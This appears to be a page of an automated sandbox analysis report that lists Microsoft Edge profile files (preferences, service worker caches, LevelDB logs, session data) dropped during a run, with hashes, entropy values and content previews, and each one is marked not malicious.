Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.5713648364342765
Encrypted:	false
SSDEEP:	768:vzE+nCWR1W5wXrf4Y/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiQI6H0wrwXuprtuA:vgYCQ1WaXrf9/u1ja1EUBqtP
MD5:	C5C8E2955906E749915CCC0126B83BBA
SHA1:	0BA434877D125AEB55F02DD1EA4C89822C0795D0
SHA-256:	C0FD711E6A8B81F2A467B5E83197D38EAFF7A5CAC9AC17AB4411DA70A9898A4A
SHA-512:	67A1A3C587DEA6583321B9DC393509B9D91F545522A5BBA7B36F074589E47D01A0610C3F6D0B1E3C3D8E85B4DAD75BBB6CC4BF106BD184A5FFD6AF9FFEFB4D30
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374732868087520","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374732868087520","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f127.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.5713648364342765
Encrypted:	false
SSDEEP:	768:vzE+nCWR1W5wXrf4Y/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiQI6H0wrwXuprtuA:vgYCQ1WaXrf9/u1ja1EUBqtP
MD5:	C5C8E2955906E749915CCC0126B83BBA
SHA1:	0BA434877D125AEB55F02DD1EA4C89822C0795D0
SHA-256:	C0FD711E6A8B81F2A467B5E83197D38EAFF7A5CAC9AC17AB4411DA70A9898A4A
SHA-512:	67A1A3C587DEA6583321B9DC393509B9D91F545522A5BBA7B36F074589E47D01A0610C3F6D0B1E3C3D8E85B4DAD75BBB6CC4BF106BD184A5FFD6AF9FFEFB4D30
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374732868087520","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374732868087520","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.84142962396357
Encrypted:	false
SSDEEP:	48:F2emWtrdDn6fBzXrd0HLr/rdDn1BerdqBK:F1mWtxD6Nx8r/xDOxh
MD5:	B540525573AFFECA6C7C3BDB74952ADA
SHA1:	2D9D9950187329168CD5011D0B56B68170213E48
SHA-256:	F31F22BF7BE7E7AA413968ED9D8F3AFD703633632214ADAFA8AA81CFCC914E28
SHA-512:	CD94384CD0FA3A103E337854F76E680CA3DCFB4564C350CB108646A00AB4361B227563413719269D1A08C4E3EBFABCEE411E4E00DDD8460CAF04F1E76E9A2F8A
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..I.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.125523879071797
Encrypted:	false
SSDEEP:	6:eviBD1N723oH+TcwtE/a252KLlkvNM+q2PN723oH+TcwtE/a2ZIFUv:evidaYeb8xLGvNM+vVaYeb8J2FUv
MD5:	D418423108DECB3880FC48D02A805815
SHA1:	73D46FBAE83E311F829B5B6629163C94EEDE39C7
SHA-256:	098F7D22B6616BB0CDC37EB27E3B6F1F581F2227447257897336F60136AD6FEB
SHA-512:	658E00DC14FF4BF624C96E5CDBB6A161BB2AEE0B8898AEFD219832648A5C13A9CBF95989D12E197D6D295649C1D93250C6987DDF3EA6E559599753C3DF87EACF
Malicious:	false
Preview:	2024/10/29-23:34:41.509 1ffc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/29-23:34:41.530 1ffc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113334
Entropy (8bit):	5.579507713372994
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NG/Gv5eIZBijL/r4L/riT+:59LyxPXfOxr1lMe1Z6rFl8+AL/ML/d
MD5:	0D8AB34B2D06007A01580CAA31E1F2AF
SHA1:	AA8E95D50D2CEA80BB9A6F3D3E61D8456FBB9FE2
SHA-256:	314B572A90A33401812CE4BF41BEC443B1F4487EB395C791A9786756C413274E
SHA-512:	5A82EBDE32350B69E24B1734564C16902B29EF87359164BFAD11A45D04D05DD7B842E0935C857290D8AA09DCDA60D89116698D9078F5B6E1C56124AC82A321AC
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187457
Entropy (8bit):	6.381394874929883
Encrypted:	false
SSDEEP:	3072:7wICsXOpzr1fwl2fx1Z3kNZfqeyvSlFSZQsLKL/0ms1L3:41fwlq16v17S3KL/qN
MD5:	5475102A0306039067CF39A2CF2151C0
SHA1:	64231D98A6CD7A9F0E25D40075E16B3816944A9D
SHA-256:	C90FA8DEBE12D8D972896648224E9662C6DF00A42AEC898D8142265B180B24C1
SHA-512:	9CFA958983012BFEBAE7035743D69F641D487377AB53F5F4CEC9D4B5CA3A1CC9548BB22191FAA00965E91D9587FDD50EDFA46808E29318203B1EE66D3F241746
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT.........,T.8..`,.....L`.....,T...`......L`......Rcv/![....exports...Rc..Z....module....Rc>U.....define....Rbr.I@....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..K..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:Y5qdXl/lkV/lxEoltcMLKln:Y5YkW4SMa
MD5:	F9C5DFCF1FF8D601665D36A432D83CC6
SHA1:	5FB375332B2DE717552245AE76003E36FF3F16A0
SHA-256:	45995EAD493B9D77321238CCCAEB3DE551BA2F2374A7FB6817EFF169AE2B922D
SHA-512:	1AD925B914C5D94800EDE617F88C70908BB0D6F93BCDE7083DC9376D5331B93128BD9F5463C77428F4972D3F5A7A433D41C00FB1F201DC21B1995D6D5ABFA677
Malicious:	false
Preview:	@.......oy retne.........................X....,.................el.?./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:Y5qdXl/lkV/lxEoltcMLKln:Y5YkW4SMa
MD5:	F9C5DFCF1FF8D601665D36A432D83CC6
SHA1:	5FB375332B2DE717552245AE76003E36FF3F16A0
SHA-256:	45995EAD493B9D77321238CCCAEB3DE551BA2F2374A7FB6817EFF169AE2B922D
SHA-512:	1AD925B914C5D94800EDE617F88C70908BB0D6F93BCDE7083DC9376D5331B93128BD9F5463C77428F4972D3F5A7A433D41C00FB1F201DC21B1995D6D5ABFA677
Malicious:	false
Preview:	@.......oy retne.........................X....,.................el.?./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF42845.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:Y5qdXl/lkV/lxEoltcMLKln:Y5YkW4SMa
MD5:	F9C5DFCF1FF8D601665D36A432D83CC6
SHA1:	5FB375332B2DE717552245AE76003E36FF3F16A0
SHA-256:	45995EAD493B9D77321238CCCAEB3DE551BA2F2374A7FB6817EFF169AE2B922D
SHA-512:	1AD925B914C5D94800EDE617F88C70908BB0D6F93BCDE7083DC9376D5331B93128BD9F5463C77428F4972D3F5A7A433D41C00FB1F201DC21B1995D6D5ABFA677
Malicious:	false
Preview:	@.......oy retne.........................X....,.................el.?./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5377
Entropy (8bit):	3.4443900365185383
Encrypted:	false
SSDEEP:	96:VKrUTskZwtEzwzew23ZfU9FZp+X+Lik+/51VB5SLl9iSr/1gjVEWUmdF:aqa9Lp+Xcir/B5SLl9iSr/exES
MD5:	6690C8CF31A1B39718CAE294F34CC141
SHA1:	2D311A0EE9F18961D19B498192A685D5C92983B5
SHA-256:	61BB85F7B8CC1CE45B28334C98004AE71192DFA9329AA251BCB24F9FB4905A4E
SHA-512:	E529C114BC41754E6EE891071F07ECC8C729169ED3CA7AA7843234AE2472BA64C9864BBADDC7D7BEA3028144629F9EC37874B84818DB9F55546EBECD8A31A72C
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................k.b................next-map-id.1.Cnamespace-8ed8b50b_c5b3_4fea_aade_5188b51c1d7b-https://ntp.msn.com/.03....................map-0-shd_sweeper.'{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.c.,.x.a.d.s.-.a.d.q.c.b.i.s.-.t.,.p.n.p.w.e.a.t.o.d.a.y.,.1.s.-.w.p.o.-.l.o.c.k.-.l.s.v.d.2.,.s.h.s.t.r.3.c.c.n.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.n.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.h.,.p.r.g.-.1.s.w.-.s.a.-.q.a.o.r.t.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.q.l.2.f.i.l.t.b.y.l.o.c.a.l.e.t.,.p.r.g.-.1.s.w.-.s.a.l.2.d.r.o.p.o.2.t.4.,.p.r.e.p.r.g.-.1.s.w.-.s.a.q.i.n.c.t.t.c.i.t.1.,.p.r.g.-.1.s.w.-.s.a.l.3.t.1.d.e.0.,.p.r.e.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.3.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.-.c.,.p.r.g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1339136167038895
Encrypted:	false
SSDEEP:	6:ejDFIq2PN723oH+TcwtrQMxIFUt8FjQ0Zmw+FjTIzkwON723oH+TcwtrQMFLJ:euvVaYebCFUt8FT/+FPIz5OaYebtJ
MD5:	9F209D1AB3D268B69BE4357AB1F5EAC3
SHA1:	689F6439C07BDA85726544B64A436D78695C93FB
SHA-256:	D20BE3E52DAF682D680E0035FEBD7F382E3C75700C0AE33E40716B232AC5D802
SHA-512:	414819B718C30CB8381B70F10B9A45B1F819720EDA1130EF74FBB4A305073A374147B7F2BE3AD1FF7D4E0B75122E9C23475F6B38D4C5E52EC1A4BF6A7E942AA5
Malicious:	false
Preview:	2024/10/29-23:34:28.977 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-23:34:28.986 19a4 Recovering log #3.2024/10/29-23:34:28.990 19a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1339136167038895
Encrypted:	false
SSDEEP:	6:ejDFIq2PN723oH+TcwtrQMxIFUt8FjQ0Zmw+FjTIzkwON723oH+TcwtrQMFLJ:euvVaYebCFUt8FT/+FPIz5OaYebtJ
MD5:	9F209D1AB3D268B69BE4357AB1F5EAC3
SHA1:	689F6439C07BDA85726544B64A436D78695C93FB
SHA-256:	D20BE3E52DAF682D680E0035FEBD7F382E3C75700C0AE33E40716B232AC5D802
SHA-512:	414819B718C30CB8381B70F10B9A45B1F819720EDA1130EF74FBB4A305073A374147B7F2BE3AD1FF7D4E0B75122E9C23475F6B38D4C5E52EC1A4BF6A7E942AA5
Malicious:	false
Preview:	2024/10/29-23:34:28.977 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-23:34:28.986 19a4 Recovering log #3.2024/10/29-23:34:28.990 19a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374732870589234

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.785311023884561
Encrypted:	false
SSDEEP:	24:3Vofzo2oPpoRpsAF4unxitLp3X2amEtG1ChqFPSlS4DOQKkOAM4N:3Cbo2oPGRzFELp2FEkChsPWfDHOps
MD5:	C00D079BBEEE46433E467A93F002B859
SHA1:	A86500A327508D9FD26DFD1F7AB937EE6E9482F0
SHA-256:	05394FA4B3B043F014EB62A127F3D8EC8507B288ABA466529E4F6BD476D1DF73
SHA-512:	93ADC6A7CD2DC2052858C7210A5C4A09CB3166218838709A401F73DCEECD878C2366FDF93C9E4D3EFA8E4B34DD2CFAE03331A4542E272E4A367ABA4DF28860DC
Malicious:	false
Preview:	SNSS..........b..............b......"...b..............b..........b..........b..........b....!.....b..................................b...b1..,......b$...8ed8b50b_c5b3_4fea_aade_5188b51c1d7b......b..........b....c.9...........b......b..........................b....................5..0......b&...{46F3A197-DB49-410A-81B3-94975C835573}........b..........b..........................b..............b........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........-a.%....-a.%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.140527828118381
Encrypted:	false
SSDEEP:	6:ej2S+q2PN723oH+Tcwt7Uh2ghZIFUt8Fj2WZmw+Fj2SVkwON723oH+Tcwt7Uh2gd:eyjvVaYebIhHh2FUt8FyW/+Fyq5OaYeQ
MD5:	673DB01B95BD501524428EA9CE8D02B9
SHA1:	D87851BCF91F83CD79BCC4B59953E5ED27B58E22
SHA-256:	29A0136C1C0C0D59F80EA35BF864A626B3B5966573ED52DA0750C56C57D55B33
SHA-512:	027D4E916A9987B5D940133B52DB972ACD85BB09FDFD706F0F4A8D67B62B843C9D05C0951A25EE94228B8D33B9C6BB004C20642F4816993182E37A7343786CA6
Malicious:	false
Preview:	2024/10/29-23:34:28.096 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-23:34:28.096 1448 Recovering log #3.2024/10/29-23:34:28.096 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.140527828118381
Encrypted:	false
SSDEEP:	6:ej2S+q2PN723oH+Tcwt7Uh2ghZIFUt8Fj2WZmw+Fj2SVkwON723oH+Tcwt7Uh2gd:eyjvVaYebIhHh2FUt8FyW/+Fyq5OaYeQ
MD5:	673DB01B95BD501524428EA9CE8D02B9
SHA1:	D87851BCF91F83CD79BCC4B59953E5ED27B58E22
SHA-256:	29A0136C1C0C0D59F80EA35BF864A626B3B5966573ED52DA0750C56C57D55B33
SHA-512:	027D4E916A9987B5D940133B52DB972ACD85BB09FDFD706F0F4A8D67B62B843C9D05C0951A25EE94228B8D33B9C6BB004C20642F4816993182E37A7343786CA6
Malicious:	false
Preview:	2024/10/29-23:34:28.096 1448 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-23:34:28.096 1448 Recovering log #3.2024/10/29-23:34:28.096 1448 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.220789448694501
Encrypted:	false
SSDEEP:	12:eO1M+vVaYebvqBQFUt8Fe/+FQ2MV5OaYebvqBvJ:PPVaYebvZg8qOaYebvk
MD5:	AE25662C811D3130E18C34EFA1E4518F
SHA1:	0450BA3326DFC0E90F277806DC990C95673DE3E1
SHA-256:	4D47FA5F4D726FE374DAAD3F19A5E724A6CEC098FB827ED9B42BD0D8D2932558
SHA-512:	F1B931C14001F4E9FDD3E4131CE2AD892655B6FCE97A1F1F6F6B38230E9B7A49F8C21C77C75FF4DB45F023E1FB5D6D6F10491844370B229844D3EE32B3EC4BB4
Malicious:	false
